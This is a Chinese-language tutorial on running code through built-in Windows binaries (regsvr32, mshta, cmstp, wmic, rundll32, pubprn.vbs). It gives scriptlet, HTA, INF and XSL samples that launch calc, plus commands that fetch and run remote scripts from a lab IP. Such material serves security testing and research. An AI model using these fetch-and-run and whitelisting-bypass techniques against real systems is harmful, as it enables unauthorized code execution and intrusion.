Windows代码执行
字数 760 2025-08-11 08:35:53
Windows代码执行技术详解
前言
本文详细介绍了Windows系统中多种代码执行技术,包括注册组件、脚本执行、控制面板项利用等多种方法。这些技术可用于系统管理、渗透测试和安全研究等场景。
1. Regsvr32技术
基本介绍
Regsvr32是一个命令行实用工具,用于注册和取消注册OLE控件,如DLL和ActiveX控件。
- 64位版本路径:
%systemroot%\System32\regsvr32.exe - 32位版本路径:
%systemroot%\SysWoW64\regsvr32.exe
执行示例
regsvr32.exe /u /n /s /i:a.png scrobj.dll
XML脚本示例
<?XML version="1.0"?>
<scriptlet>
<registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}">
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("cmd /k ipconfig");
]]>
</script>
</registration>
</scriptlet>
2. MSHTA技术
基本介绍
mshta.exe是微软Windows操作系统相关程序,支持执行.hta和.sct格式的文件。
HTA文件执行
<html>
<head>
<script language="VBScript">
Sub RunProgram
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
End Sub
RunProgram()
</script>
</head>
<body>Nothing to see here..</body>
</html>
执行命令:
mshta http://192.168.235.128/test.hta
SCT文件执行
<?XML version="1.0"?>
<scriptlet>
<registration description="Desc" progid="Progid" version="0" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>
<public><method name="Exec"></method></public>
<script language="JScript">
<![CDATA[
function Exec() {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
}
]]>
</script>
</scriptlet>
执行命令:
mshta.exe javascript:a=(GetObject("script:http://192.168.235.128/test.sct")).Exec();close();
3. 控制面板项技术
基本介绍
控制面板项是可执行文件(exe、cpl),其中cpl文件实际上是.dll文件重命名为.cpl扩展名。
示例代码
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxW(NULL, L"This is a test", L"Test", 0);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
执行方式
- 直接双击运行(调用导出函数Control_RunDLL)
- 使用control.exe执行:
control.exe "D:\1\cpl.cpl"
- 使用rundll32执行:
rundll32.exe Shell32.dll,Control_RunDLL "D:\1\cpl.cpl"
4. CMSTP技术
INF文件示例
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\windows\system32\calc.exe
[Strings]
AppAct ="SOFTWARE\Microsoft\Connection Manager"
ServiceName="mantvydas"
ShortSvcName="mantvydas"
执行命令
cmstp.exe /s /ns D:\1\test.inf
调用DLL示例
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
D:\1\cpl.dll
[Strings]
AppAct ="SOFTWARE\Microsoft\Connection Manager"
ServiceName="mantvydas"
ShortSvcName="mantvydas"
5. WMIC技术
基本命令
wmic process call create "calc.exe"
XSL文件示例
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc");
]]>
</ms:script>
</stylesheet>
执行命令
wmic os get /FORMAT:"test.xsl"
6. PowerShdll.dll技术
执行方式
rundll32.exe PowerShdll.dll,main
7. Pubprn.vbs技术
SCT文件示例
<?XML version="1.0"?>
<scriptlet>
<registration description="Bandit" progid="Bandit" version="1.00" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
执行命令
cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.235.128/test.sct
总结
本文详细介绍了Windows系统中多种代码执行技术,包括Regsvr32、MSHTA、控制面板项、CMSTP、WMIC、PowerShdll.dll和Pubprn.vbs等方法。这些技术可以用于系统管理、渗透测试和安全研究等多种场景。使用时请遵守相关法律法规,仅用于合法授权的研究和测试目的。